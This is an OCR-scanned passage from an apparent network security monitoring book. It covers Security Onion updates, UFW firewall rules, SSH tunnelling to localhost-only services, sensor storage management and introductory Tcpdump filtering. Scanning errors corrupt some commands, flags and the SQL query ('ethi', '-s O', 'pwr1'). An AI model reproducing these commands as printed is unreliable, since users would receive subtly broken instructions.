echo "Press Enter to reboot or Ctrl-C to cancel." 
read input 
reboot 
efi 





Listing 5-1: Reviewing /usr/bin/soup 


In 0 the script tests that it is executing with root privileges, as you 
might achieve using the sudo command. In @ the script updates its pack- 
age listing to the newest available, via the Internet. In ® the script tests to 
see if new mysql-server packages are available. If new packages are ready for 
installtion, the script shuts down NSM servers, Syslog-NG, the Apache Web 
server, AutoSSH, and any processes being run by the Perl interpreter. The 
script then installs new MySOL packages before any other software. 

In @ the script reinstalls PF. RING prior to attempting to update the 
Linux kernel. In © the script updates the rest of the system packages. If 
any updates to the Linux kernel are available, the script sets a variable 
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indicating the need to reboot the system after the update completes. If no 
updates to the Linux kernel are available, the script leaves the REBOOT 
variable false. In O the script completes, with a prompt letting the user 
choose to reboot or cancel. Part © only runs if the kernel was updated, a 
process which sets the REBOOT variable to true. 

We can see the how the soup script performs by running it to update 
a sample systems, as shown in Listing 5-2. 


$ sudo soup 
EERE REE A A A A A AA HHRH H AEH HHHH HHEH HHHH HHH 
This script will automatically install all available updates. 


If mysql-server updates are available, it will stop sensor processes 
to ensure a clean update. 


At the end of the script, if mysql-server and/or kernel updates 
were installed, you will be prompted to reboot. 
A EE H H H HEHH HH HH HH HHHH HH HH HH H H HEH H H H H H HHEH HHH H H HHHH HHH HHHH 


Press Enter to continue or Ctrl-C to cancel. 


Hit http://us.archive.ubuntu.com precise Release.gpg 
Get:1 http://us.archive.ubuntu.com precise-updates Release.gpg [198 B] 
-- snip -- 
Reading package lists... Done 
Building dependency tree 
Reading state information... Done 
Calculating upgrade... Done 
The following NEW packages will be installed: 
linux-headers-3.2.0-54 linux-headers-3.2.0-54-generic 
linux-image-3.2.0-54-generic 
The following packages will be upgraded: 
accountsservice apport apport-gtk apt apt-transport-https apt-utils dpkg 
-- snip -- 
smbclient tzdata 
56 upgraded, 3 newly installed, O to remove and O not upgraded. 
Need to get 111 MB of archives. 
After this operation, 215 MB of additional disk space will be used. 
Get:1 http://us.archive.ubuntu.com/ubuntu/ precise-updates/main dpkg amd64 
1.16.1.2ubuntu7.2 [1,830 kB] 
-- snip -- 
Processing triggers for libc-bin ... 
ldconfig deferred processing now taking place 
HHHH HHE HEH HEHEHEHE HH H HE HE H HEHEHEHEH HHH HEHE HEH HEHEHEHEHE HEHEHE HE HE HE HEHEHEHE HEH HH HE HE H HE HEHEHEH HHH HEHE HEHEHEHEH HHH HHHH 
All updates have been installed. 
Press Enter to reboot or Ctrl-C to cancel. 





Listing 5-2: Running sudo soup 


Hit ENTER when done as prompted above. Always remember to heed any 
warnings about updates from the SO team, as posted on the project blog. 
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Limiting Access to SO 


By default, SO ships with the Linux iptables firewall enabled. A local fire- 
wall like iptables helps enforce a network security policy appropriate for a 
server. To see the default access control settings, run the Uncomplicated 
Firewall (UFW) configuration program with sudo ufw status. (I added the 
rightmost column to Listing 5-3 manually to show the services associated 
with each open port.) 





$ sudo ufw status 
[sudo] password for sademo: ****** 
Status: active 


To Action From 

22/tcp ALLOW Anywhere OpenSSH 

514 ALLOW Anywhere Syslog 

1514/udp ALLOW Anywhere OSSEC 

443/tcp ALLOW Anywhere Apache 

444/tcp ALLOW Anywhere Snorby 

7734/tcp ALLOW Anywhere Sguil client to server 
7736/tcp ALLOW Anywhere Sguil agents to server 
3154/tcp ALLOW Anywhere ELSA 

22/tcp ALLOW Anywhere (v6) OpenSSH 

514 ALLOW Anywhere (v6) Syslog 

1514/udp ALLOW Anywhere (v6) OSSEC 

443/tcp ALLOW Anywhere (v6) Apache 

444/tcp ALLOW Anywhere (v6) Snorby 

7734/tcp ALLOW Anywhere (v6) Sguil client to server 
7736/tcp ALLOW Anywhere (v6) Sguil agents to server 
3154/tcp ALLOW Anywhere (v6) ELSA 





Listing 5-3: Firewall policy 


The firewall policy listed by this command shows all of the ALLOW state- 
ments permitting network traffic to designated ports. The firewall policy 
implicitly denies inbound access to any other ports. That means that if, for 
example, you need to modify the configuration to start your Apache web 
server on another port, you will need to change the iptables firewall access 
control lists accordingly. 

In the default configuration, Apache listens on port 443 TCP, and 
remote systems are allowed to connect to port 443 TCP per the firewall 
policy. Apache listening on port 4443, however, would be unreachable 
unless an administrator changed the firewall policy. 

Rather than expose more ports to remote access, some administrators 
choose to limit the number of services that listen on public interfaces. Instead 
of letting applications listen on the public network interface, administrators 
“bind” them to nonpublic interfaces. 

One way to use nonpublic interfaces for tighter security is to configure 
an application to listen only on localhost (127.0.0.1). When an applica- 
tion is listening only on localhost, it can’t be reached remotely; it can be 
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reached only via the local system (hence the localhost, nonpublic IP address). 
However, you can "simulate" local access by cleverly configuring OpenSSH. 
You can set up an SSH proxy from an authorized remote client to the sen- 
sor running the application listening on localhost. 


Connecting via a SOCKS Proxy 


To demonstrate accessing an application listening only on localhost, we'll 
work with the Xplico application. You may remember seeing a warning 
on the SO welcome page that says port 9876 TCP for Xplico isn't available 
remotely. By default, if you try to connect from a remote computer to port 
9876 TCP on an SO system, iptables will deny the connection. Port 9876 TCP 
is available locally. If you open a web browser on the SO platform itself and 
point it to port 9876 TCP, Xplico is listening. 

If you want to access Xplico from your desktop, though, you need 
to simulate local access. You can connect to that port if you use SSH asa 
SOCKS proxy (a protocol designed to allow this sort of “tunnel” that simu- 
lates local access). 

Setting up a SOCKS proxy using SSH will allow you to remotely access 
an application listening only on localhost. You can achieve this goal using 
either a Microsoft Windows desktop or a Linux desktop. 

If your remote client runs Microsoft Windows, you can use the free PuTTY 
(Attp://wiww.chiark.greenend.org.uk/-sgtatham/putty/) SSH client. PuTTY is 
available as a single .exe binary that doesn't require any sort of installation 
procedure. Follow these steps: 


1. Run the putty.exe program and navigate to Connection » SSH » Tunnels. 
In the Source port field, enter a TCP port that will listen on your local 
system. (In this example, I use 8080 TCP). 


2. Select the Dynamic and Auto radio buttons, and then click Add. Your 
setup should look like Figure 5-1. 


3. Return to PuTTY's Session section and enter the hostname or IP address 
and port of your remote SO stand-alone system, and then click Open. 


4. Login to the SO system with the username and password you chose 
during setup. 

5. Open your web browser and choose the option for configuring network 
settings. For example, if you're using Firefox, choose Options > Network > 
Settings, and then configure the connection settings for Manual Proxy 
Configuration with SOCKS Host set to 127.0.0.1 and Port set to the port 
you configured in PuTTY. Figure 5-2 shows my settings. Click OK to 
continue. 

6. Point Firefox to Attps://127.0.0.1:9876. Your browser should redirect to 
https://127.0.0.1:9876/users/login and warn that Xplico is not running. 
This is okay; you've accessed the web server at port 9876 TCP, which 
was previously not reachable remotely. 











Options controlling SSH port forwarding 








Port forwarding 
[E] Local ports accept connections from other hosts 
[E] Remote ports do the same (SSH-2 only) 


t (Ree 


D8080 

















© Remote (9) Dynamic 
© IPv4 © IPv6 








Configure Proxies to Access the Internet 


© No proxy 


© Auto-detect proxy settings for this network 


(C) Use system proxy settings 


(& Manual proxy configuration: 


HTTP Proxy: 
SSL Proxy: 
ETP Proxy: 


SOCKS Host: 


No Proxy for: 








Port: 





[E] Use this proxy server for all protocols 











Port: 





Port: 





127.0.0.1 











© SOCKSw4 @ SOCKS v5 





Example: .mozilla.org, .net.nz, 192.168.1.0/24 
(C) Automatic proxy configuration URL: 











Figure 5-2: Configuring proxy settings in Firefox 
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If your remote client is a Linux system, you can achieve the same goal 
using the integrated SSH client. On your Linux desktop, run the following 
command: 


ssh -L 9876:localhost:9876 username@SO server IP 





With your tunnel established, follow steps 4 and 5 in the preceding pro- 
cedure for configuring the Firefox web browser for a Windows remote client 
and accessing the web server. 


Changing the Firewall Policy 


If you don't want to tunnel traffic to bypass the firewall, you could modify 
the firewall rules. For example, the following command changes the ruleset 
to permit remote access to port 9876 TCP. 





$ sudo ufw allow 9876/tcp 
Rule added 
Rule added (v6) 





To disallow that port again, enter this: 





$ sudo ufw deny 9876/tcp 
Rule updated 
Rule updated (v6) 





See the SO wiki for more information about configuring the firewall 
(Attps://code.google.com/p/security-onion/wiki/Firewall). 
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As soon as you install and configure SO and cable its sniffing interface to a 
live network, the NSM software begins collecting and interpreting traffic. 
The SO sensors store a variety of NSM datatypes, but two directories are of 
particular interest: 


e The /nsm directory stores logs and full content data. 
e The /var/lib/mysgl directory holds SO's databases. 


The /nsm directory typically uses more drive space than /var/lib/mysql. 

SO saves full content data in the /nsm/sensor data/«sensorname-interface»/ 
dailylogs/YYYY-MM-DD directories with filenames in snort.log. « Unix timestamp» 
format. Although the filenames have snortin the title, the content is in the 
familiar pcap format. Listing 5-4 shows full content data stored on a stand- 
alone demo SO platform in two directories. 


sademo@sademo: /nsm/sensor_data/sademo-eth1/dailylogs$ ls -alR 


total 16 

drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 . 
drwxrwxr-x 7 sguil sguil 4096 Feb 10 11:12 .. 
drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 2014-02-10 
drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 2014-02-16 


./2013-02-10: 

total 118060 

drwxrwxr-x 2 sguil sguil 4096 Feb 10 13:09 . 

drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 .. 

-IW-r--r-- 1 root root 108390541 Feb 10 11:31 snort.log.1360494635 
-IW-r--Y-- 1 root root 12485022 Feb 10 13:17 snort.log.1360501765 
./2014-02-16: 

total 645312 

drwxrwxr-x 2 sguil sguil 4096 Feb 16 20:15 . 

drwxrwxr-x 4 sguil sguil 4096 Feb 16 12:28 


-IW-r--r-- 1 root root 10637153 Feb 16 12:41 snort.log.1361017706 
-IW-I--r-- 1 root root 122264262 Feb 16 14:29 snort.log.1361019690 
-- snip -- 





Listing 5-4: Directory contents for /nsm/sensor. data/sademo-ethl/dailylogs 


The date on the directory listing is the time the file was last modified. 
The date in the snort.log« Unix timestamp» filename is the time the file was 
created, in Unix timestamp format. This format is expressed as the number 
of seconds elapsed since January 1, 1970. 

You can translate the Unix timestamp into more familiar terms with the 
date command. For example, running date against the file snort.log. 1360494635, 
we learn that the trace was created about 21 minutes before the system stopped 
writing to it. We know this because the timestamp on the file is Feb 10 11:31, 
and the “translated” date from the filename is Feb 10 11:10:35. We can see 
that the file was opened at roughly 11:10, and it was last written to 21 minutes 
later, at 11:31. 





$ date --date='@1360494635' 
Sun Feb 10 11:10:35 UTC 2013 





Managing Sensor Storage 


To manage sensor storage, SO scripts check the amount of available hard 
drive space regularly. As the used space hits the 90 percent threshold, the 
scripts remove old full content (pcap) files from the /nsm/sensor data/ 
«sensorname-interface» /dailylogs directories, old Bro logs from /nsm/bro/logs, 
old Argus session data from /nsm/sensor_data/<sensorname-interface>/ 
dailylogs/argus, and old Snort Unified? alert files from /nsm/sensor data/ 
«sensorname-interface» /snort-«instancenumber». Part III of this book covers 
these and other SO tools. For now, it's important to know that these logs 
exist and how the system manages them. 
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The system works by having the Linux cron command run the /usr/ 
sbin/nsm sensor clean script hourly, which calls the sensor cleandisk() func- 
tion found in /usr/lib/nsmnow/lib-nsm-sensor-utils. The sensor cleandisk() 
function in lib-nsm-sensor-utils contains the 90 percent value that triggers 
deleting old logs. Although this daily check at 90 percent works well for 
most users, you can change it to suit your needs if necessary. If you want 
to change the 90 percent figure, edit it in the [ib-nsm-sensor-utils file. 


Checking Database Drive Usage 


To check the size of SO's databases in /var/lib/mysql, use MySQL command 
shown in Listing 5-5. (Thanks to RolandoMySOLdba for posting this at 
http://pastebin.com/YFqNaVi3/.) 





$ mysql -u root 

Welcome to the MySQL monitor. Commands end with ; or Mg. 
Your MySOL connection id is 386507 

Server version: 5.5.29-Oubuntu0.12.04.1 (Ubuntu) 


Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved. 


Oracle is a registered trademark of Oracle Corporation and/or its 
affiliates. Other names may be trademarks of their respective owners. 


Type 'help;' or '\h' for help. Type 'Nc' to clear the current input statement. 


mysql» SELECT DBName, CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ', 
-> SUBSTR(' KMGTP',pw+1,1),'B') "Data Size",CONCAT(LPAD( 
-> FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ',SUBSTR(' KMGTP',pw+1,1),'B') "Index Size", 
-> CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ', 
-> SUBSTR(' KMGTP',pwr1,1),'B') "Total Size" FROM 
-> (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize,SUM(XSize) SXSize, 
-» SUM(TSize) STSize FROM (SELECT table schema DB,data length DSize, 
-> index length XSize,data length«index length TSize FROM information schema.tables 
-» WHERE table schema NOT IN ('mysql','information schema','performance schema')) AAA 
-> GROUP BY DB WITH ROLLUP) AA,(SELECT 3 pw) BB ORDER BY (SDSize+SXSize) ; 














+------------------ +---------------------- +---------------------- +---------------------- + 
DBName Data Size | Index Size Total Size 

+------------------ +---------------------- +---------------------- +---------------------- + 
elsa_web 0.000 GB | 0.000 GB 0.000 GB 
syslog 0.014 GB | 0.007 GB 0.021 GB 
snorby 0.059 GB | 0.020 GB 0.079 GB 
syslog_data 1.625 GB | 0.050 GB 1.675 GB 
securityonion_db 3.384 GB | 0.377 GB 3.761 GB 
All Databases 5.082 GB | 0.454 GB 5.536 GB 

+------------------ +---------------------- +---------------------- +---------------------- + 


6 rows in set (2.20 sec) 





Listing 5-5: Displaying storage used by database tables 
In this example, the databases in use occupy a total of 5.536GB. 
The securityonion db database used by Sguil and its components occupies 


3.761GB, and the syslog data database used by ELSA occupies 1.675GB. 
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Managing the Sguil Database 


SO also ships with a sguil-db-purge script to manage the Sguil database 
securityonion db. The configuration file /etc/nsm/securityonion.conf contains 
a DAYSTOKEEP variable, as shown in Listing 5-6. 





ENGINE-snort 
DAYSTOKEEP=365 
ELSA=YES 





Listing 5-6: DAYSTOKEEP variable in /etc/nsm/securityonion.conf 


When SO runs sguil-db-purge, it removes data older than the default 
365 days from the securityonion_db database. You can edit the DAYSTOKEEP 
variable if you begin to run out of hard drive space. 

To manage the syslog data database, ELSA offers a configuration vari- 
able that controls how much disk space it will use. The file /etc/elsa_node.conf 
contains the entry shown in Listing 5-7. 





# Size limit for logs + index size. Set this to be 90-95% of your total data disk space. 
"log size limit" : 200000000000, 





Listing 5-7: Size limit entry in /etc/elsa node.conf 


The log size limit variable is set according to a number of bytes, so the 
default translates to roughly 187GB. Raise or lower this value to manage 
ELSA database storage as necessary. 


Tracking Disk Usage 


Although SO offers automatic ways to manage hard disk space, it isn't a 
completely deploy-and-forget appliance. Keep an eye on disk usage using 
the df -h command and the more granular du -csh commands shown in 





Listing 5-8. 

$ sudo df -h 

Filesystem Size Used Avail Use% Mounted on 
/ dev/sda1 456G 96G 337G 235 / 

udev 1.5G 4.0K 1.5G 1% /dev 

tmpfs 603M 876K 602M 1% /run 

none 5.0M O 5.0M 0% /run/lock 
none 1.5G 216K 1.5G 1% /run/shm 


$ sudo du -csh /nsm 
86G /nsm 
86G total 





Listing 5-8: Disk usage commands 
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As you can see, this sensor has plenty of space available on the hard disk 
(/dev/sdal), with only 23 percent in use. The /nsm directory occupies 86GB 
of the 96GB taken up by the whole partition. The example of a database 
size check earlier in this chapter showed that all of the databases occupied 
5.536GB. Windows users might be more familiar with graphical representa- 
tions of hard disk usage. On Linux, it's useful to become acquainted with 
the sorts of percentages and listings produced by commands like df. 


Conclusion 
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This chapter explained a few core administrative chores: keeping software 
up-to-date, limiting network access to promote security, and managing 
system storage. These are by no means the only skills required for system 
administration, but thankfully, the SO project has made caring for NSM 
platforms easy. With these fundamental skills, you can keep your SO sys- 
tems running smartly with a minimum of effort. 

In the following chapters, we’ll look at the software and data you can 
use to collect and interpret network data. 
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COMMAND LINE PACKET 
ANALYSIS TOOLS 


In Chapters 3 and 4 we installed the SO 
software in several configurations, and 





we discussed housekeeping functions in 
Chapter 5. Now that you have this powerful 
NSM platform collecting data, in this chapter PI 


introduce the first set of command line tools used to 
present information to analysts. Some of these tools will be running all 

the time, while others will be invoked on demand. Each has its particular 
strengths and weaknesses. I'll discuss how I use key features, though I won't 
cover all tools in exhaustive detail here. 

Because I've written this book for new analysts, my discussion of SO 
tools in this part will concentrate on data presentation. In this chapter I 
will look at data presentation tools that use a command line interface. In 
Chapter 7 I'll address data presentation tools that use a graphical inter- 
face, and in Chapter 8 I'll examine specialized forms of data presentation 
tools—the NSM consoles. For now, let's step back and understand how all 
the NSM tools packaged with SO relate to one another. 
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SO Tool Categories 
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SO ships with a variety of tools, as listed on the SO wiki (http://code. google 
.com/p/security-onion/wiki/Tools). Some tools present data to analysts, some 
collect data directly from the network or via messages from other comput- 
ers, and a third category sits between the others as middleware, delivering 
data or providing other essential capabilities. Let’s take a brief look at each 
category of tools: data presentation, data collection, and data delivery. 


$0 Data Presentation Tools 


Data presentation tools expose NSM information to analysts. Two sorts of 
data presentation tools for packet analysis are available in SO. One relies on 
a command line interface, and the other offers analysts a graphical inter- 
face. SO also provides NSM consoles for data presentation. 


Packet Analysis Tools 


Packet analysis tools read network traffic from a live interface, or from a file 
containing traffic saved in pcap format. Analysts use packet analysis tools to 
better interpret network traffic, but not necessarily to implement an NSM- 
specific investigation or workflow. Some of these tools help analysts better 
understand individual packets, others group packets into sessions, and still 
others examine application data. The authors of these tools generally did 
not build them with NSM in mind, but nevertheless, they are key to under- 
standing network traffic. 

Two sorts of data presentation tools for packet analysis are available with 
SO. One relies on a command line interface. These tools include Tcpdump, 
Tshark, and the Argus Ra client, all examined in this chapter. Because 
certain uses of Tshark depend on a related data collection tool, Dumpcap, 
I'll present it along with Tshark. The second sort of tool for packet analysis 
offers analysts a graphical interface. Wireshark, Xplico, and NetworkMiner 
are examples of this sort of software, and I discuss them in Chapter 7. 


NSM Consoles 


NSM consoles were built with NSM-specific investigation and workflows in 
mind. The console authors began with the core NSM principles and imple- 
mented them in software. These tools also function as data presentation 
applications, but they act more as gateways to NSM data. Software in this 
category includes Sguil, Squert, Snorby, and ELSA. I'll explain how to use 
these NSM consoles in Chapter 8. 


SO Data Collection Tools 


Once NSM analysts become comfortable with the data presentation tools, 
they turn to data collection tools. Software in this category includes the Argus 
server, Netsniff-ng, Passive Real-Time Asset Detection System (PRADS), 
Snort, Suricata, and Bro. (Dumpcap belongs in this category as well, but SO 
does not enable it by default.) These applications collect and generate the 
NSM data available to the presentation tools. 

The Argus server and PRADS create and store their own forms of session 
data. Argus data is stored in a proprietary binary format suited for rapid 
command line mining, whereas PRADS data is best read through an NSM 
console. Analysts can choose which form of data suits them best. 

Netsniff-ng simply writes full content data to disk in pcap format. Snort 
and Suricata are network intrusion detection systems, inspecting traffic and 
writing alerts according to the signatures deployed with each tool. Bro 
observes and interprets traffic that has been generated and logged as a 
variety of NSM datatypes. 

In the default configuration enabled by the SO platform, all of these 
applications provide a wealth of NSM data to the presentation tools dis- 
cussed in this chapter and the next two. 


$0 Data Delivery Tools 


Finally, between the data presentation and data collection tools sits a suite 
of data delivery applications. Broadly speaking, this middleware enables the 
functionality of the other categories of software on the SO platform. Tools 
like PulledPork, Barnyard2, and CapMe manage IDS rules, alert process- 
ing, and pcap access, respectively. 

A suite of “agents” associated with Sguil—such as pcap. agent, snort agent, 
and the like—shuttle data from the collection tools to the presentation soft- 
ware. This includes the Apache web server, the MySOL database, and the 
Sphinx index application, which may already be familiar to you. 

Finally, SO includes tools for integrating certain host-centric analysis 
features. These include the OSSEC host IDS and Syslog-ng for transport 
and aggregation of log messages. Because this book concentrates on 
network-centric data, we won't examine data from OSSEC and Syslog-ng, 
but you should know that those components are running on SO platforms. 

Figure 6-1 shows the core SO tools in relation to one another. This 
chapter covers the tools Tcpdump, Tshark, Dumpcap, and the Argus Ra 
client. Chapter 7 covers Wireshark, Xplico, and NetworkMiner. Chapter 8 
discusses the NSM consoles Sguil, Snorby, Squert, and ELSA. We'll begin 
our look at data presentation tools with Tcpdump. 
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Figure 6-1: Core SO tools 


Running Tcpdump 


Tcpdump (http://www.tcpdump.org/) is a command line network traffic 
analyzer. Tcpdump is available on SO, but it is not running by default. 
Analysts can invoke it on demand, most often to view data stored in 
/nsm/sensor_data/<sensorname>/dailylogs. 


Bill Fenner, David Young, Fulvio Risso, Guy Harris, Hannes Gredler, and Michael 
Richardson are the current Tcbdump maintainers, and they code under a three-clause 
BSD license. (See the Tcpdump CREDITS file at http://svnweb.freebsd.org/base/ 
vendor/tcpdump/4.3.0/CREDITS ?revision=241212&view=markup for all 
contributors.) They also develop the libpcap traffic capture library under the same 
license. Van Jacobson, Craig Leres, and Steven McCanne wrote the original version in 
1987 while working at the Lawrence Berkeley Laboratory Network Research Group. 


Tcpdump works against a live network interface or a saved trace file. It 
can display results in real time or write output to a file. 

Tcpdump is a protocol analyzer because it can depict multiple layers of 
detail for any traffic it understands. As a protocol analyzer, its rendition of 
network traffic depends on its ability to decode the data it sees. Without 
knowledge of the underlying protocols, Tcpdump could produce only a 
byte stream that analysts would need to decode manually. 
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Displaying, Writing, and Reading Traffic with Tcpdump 
Tcpdump runs in a command terminal. To display live traffic in real time, 
run it with these options: 





$ tcpdump -n -i «interface» -s «snaplen» -c «count» 





The -n switch tells Tcpdump to not resolve IP addresses to hostnames 
via DNS queries. I always run Tcpdump with the -n switch to avoid waiting 
while the tool resolves IP addresses to hostnames via DNS. The -i switch 
tells it which interface to monitor. The -s switch tells it how many bytes 
to capture from each packet. By default Tcpdump captures 68 bytes for 
IPv4 packets and 96 bytes for IPv6 packets. (Use -s 0 to capture the entire 
packet, or specify a value appropriate for the medium from which you are 
capturing.) Finally, -c tells Tcpdump how many packets to capture. (If you 
forget this switch, Tcpdump will run until you stop it with CTRL-C.) 

Listing 6-1 shows some example output. Tcpdump requires elevated 
privileges to sniff traffic in promiscuous mode, so preface the command 
with sudo. 





$ sudo tcpdump -n -i ethi -c 5 
tcpdump: WARNING: ethi: no IPv4 address assigned 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 
listening on ethi, link-type EN10MB (Ethernet), capture size 65535 bytes 
@19:48:51.723139 IP 192.168.2.120.55060 > 205.233.0.226.443: 
UDP, length 461 
@19:48:51.886312 IP 69.171.246.17.443 > 192.168.2.104.49608: 
Flags [P.], seq 928328861:928329246, ack 1080949825, win 39, length 385 
@19:48:51.898576 IP 192.168.2.104.49608 > 69.171.246.17.443: 
Flags [P.], seq 1:978, ack 385, win 4220, length 977 
@19:48:51.914324 IP 69.171.246.17.443 > 192.168.2.104.49608: 
Flags [.], ack 978, win 45, length O 
@19:48:51.915284 IP 69.171.246.17.443 > 192.168.2.104.49608: 
Flags [P.], seq 385:823, ack 978, win 45, length 438 
5 packets captured 
5 packets received by filter 
O packets dropped by kernel 





Listing 6-1: Capturing five packets with Tcpdump 


This traffic includes one User Datagram Protocol (UDP) packet 6), 
followed by four Transmission Control Protocol (TCP) packets (0, ©, @, 
and 9). The UDP traffic has the following format: 





timestamp / layer 3 protocol / source IP address.source port » destination IP 
address.destination port: layer 4 protocol / data length 
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The format for the TCP traffic is similar: 


timestamp / layer 3 protocol / source IP address.source port » destination IP 
address.destination port: layer 4 protocol / TCP flags, TCP sequence numbers, 
TCP acknowledgement numbers, TCP window size, data length 





The time in this trace is UTC. When you configure SO, it sets the local clock to use 
UTC, so expect to see UTC timestamps in network evidence. In files saved in libpcap 
format, time is stored as the number of seconds and microseconds since the Unix 
"epoch time? of January 1, 1970. The local system then translates this value into 
the time displayed by a network tool. 


To save traffic to disk while watching a live interface, add the -w switch 
followed by the target filename. Listing 6-2 shows how to accomplish this task. 





$ sudo tcpdump -n -i ethi -c 5 -w demo1.pcap 

tcpdump: WARNING: eth1: no IPv4 address assigned 

tcpdump: listening on ethi, link-type EN10MB (Ethernet), capture size 65535 bytes 
5 packets captured 

5 packets received by filter 

O packets dropped by kernel 





Listing 6-2: Capturing and storing five packets with Tcpdump 


To read the traffic, use the -r switch. (The sudo command isn’t needed 
because you're reading from a trace, not eth1.) Listing 6-3 shows the results 
of reading five captured packets. 





$ tcpdump -n -r demo1.pcap 
reading from file demo1.pcap, link-type EN10MB (Ethernet) 
20:23:44.858470 IP 74.125.228.54.443 > 192.168.2.104.49945: 
Flags [P.], seq 1145489012:1145489069, ack 1920080636, win 4132, length 57 
20:23:44.859134 IP 74.125.228.54.443 » 192.168.2.104.49945: 
Flags [P.], seq 57:1407, ack 1, win 4132, length 1350 
20:23:44.859154 IP 74.125.228.54.443 > 192.168.2.104.49945: 
Flags [P.], seq 1407:2757, ack 1, win 4132, length 1350 
20:23:44.859505 IP 74.125.228.54.443 » 192.168.2.104.49945: 
Flags [P.], seq 2757:4107, ack 1, win 4132, length 1350 
20:23:44.860006 IP 74.125.228.54.443 » 192.168.2.104.49945: 
Flags [P.], seq 4107:4261, ack 1, win 4132, length 154 





Listing 6-3: Reading five packets with Tcpdump 


Using Filters with Tcpdump 


Along with displaying, writing, and reading traffic, the other core usage 
for Tcpdump involves applying filters. Filters are a mechanism to limit the 
traffic shown or captured by Tcpdump and other tools. The popular term 
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for filters is BPF, a nod to the Berkeley Packet Filter virtual machine, which 
translates the human-readable filter syntax into a code syntax suitable for 
machine consumption. 


Applying Filters 


You apply a BPF by appending it to the Tcpdump command line. For 
example, to capture only ICMP traffic, add icmp to the syntax, as shown 
in Listing 6-4 (6). 





$ sudo tcpdump -n -i ethi -c 10 -w icmp.pcap icmp® 

tcpdump: WARNING: ethi: no IPv4 address assigned 

tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 
10 packets captured 

10 packets received by filter 

O packets dropped by kernel 





Listing 6-4: Capturing 10 ICMP packets with Tcpdump 


To read the trace, use Tcpdump again, as shown in Listing 6-5. 





$ tcpdump -n -r icmp.pcap 

reading from file icmp.pcap, link-type EN10MB (Ethernet) 

20:30:28.203723 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44313, length 44 
20:30:28.204282 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44313, length 44 
20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 5, length 40 
20:30:28.871534 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 5, length 40 
20:30:29.213917 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44569, length 44 
20:30:29.214475 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44569, length 44 
20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 6, length 40 
20:30:29.875103 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 6, length 40 
20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 
20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 





Listing 6-5: Reading ICMP packets with Tcpdump 


Instead of using icmp, you can capture other specific traffic by using 
options like tcp, udp, and so on. For example, you can collect traffic for a 
specified TCP or UDP port, like port 53, as shown in Listing 6-6. 





$ sudo tcpdump -n -i ethi -s O port 53 

tcpdump: WARNING: ethi: no IPv4 address assigned 

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 

listening on ethi, link-type EN10MB (Ethernet), capture size 65535 bytes 
20:53:42.685078 IP 192.168.2.106.33348 > 172.16.2.1.53: 558624 A? daisy.ubuntu.com. (34) 
20:53:42.701421 IP 172.16.2.1.53 » 192.168.2.106.33348: 55862 2/0/0 A 91.189.95.54, A 
91.189.95.55 (66) 


Listing 6-6: Capturing port 53 packets with Tcpdump 
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Listing 6-6 captures UDP or TCP traffic on port 53. To capture port 53 
and TCP traffic only, modify the filter as shown in Listing 6-7. 


$ sudo tcpdump -n -i ethi -s O port 53 and tcp 

tcpdump: WARNING: eth1: no IPv4 address assigned 

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 

listening on ethi, link-type EN10MB (Ethernet), capture size 65535 bytes 

21:02:06.430169 IP 192.168.2.126.44334 » 8.8.8.8.53: Flags [S], seq 1330246822, win 42340, 
options [mss 1460,sackOK,TS val 157066547 ecr O,nop,wscale 11], length O 





Listing 6-7: Capturing port 53 TCP packets with Tcpdump 


The manual page for pcap-filter included with SO shows all available 
options. View it by entering man pcap-filter at a command terminal. 


Some Common Filters 


Now let's look at some of the more common filters for showing traffic to or 
from particular hosts and even networks. 

To show traffic to or from a specific computer, use the host BPF, as shown 
in Listing 6-8. 





$ tcpdump -n -r icmp.pcap host 192.168.2.127 

reading from file icmp.pcap, link-type EN10MB (Ethernet) 

20:30:29.987013 IP 192.168.2.127 » 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 
20:30:30.013728 IP 173.194.75.99 » 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 





Listing 6-8: Capturing traffic involving a host via BPF with Tcpdump 


To show traffic from a certain source computer, use the src host BPF, as 
shown in Listing 6-9. 





$ tcpdump -n -r icmp.pcap src host 192.168.2.127 
reading from file icmp.pcap, link-type EN10MB (Ethernet) 
20:30:29.987013 IP 192.168.2.127 » 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 





Listing 6-9: Capturing traffic from a host via BPF with Tcpdump 


The dst host BPF works the same way as the src host version, as shown 
in Listing 6-10. 





$ tcpdump -n -r icmp.pcap dst host 192.168.2.127 
reading from file icmp.pcap, link-type EN10MB (Ethernet) 
20:30:30.013728 IP 173.194.75.99 » 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 





Listing 6-10: Capturing traffic to a host via BPF with Tcpdump 
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You can specify networks instead of hosts with the net BPF, as shown in 
Listing 6-11. 





$ tcpdump -n -r icmp.pcap src net 192.168.2.0 

reading from file icmp.pcap, link-type EN10MB (Ethernet) 

20:30:28.844237 IP 192.168.2.108 » 173.194.75.104: ICMP echo request, id 1, seq 5, length 40 
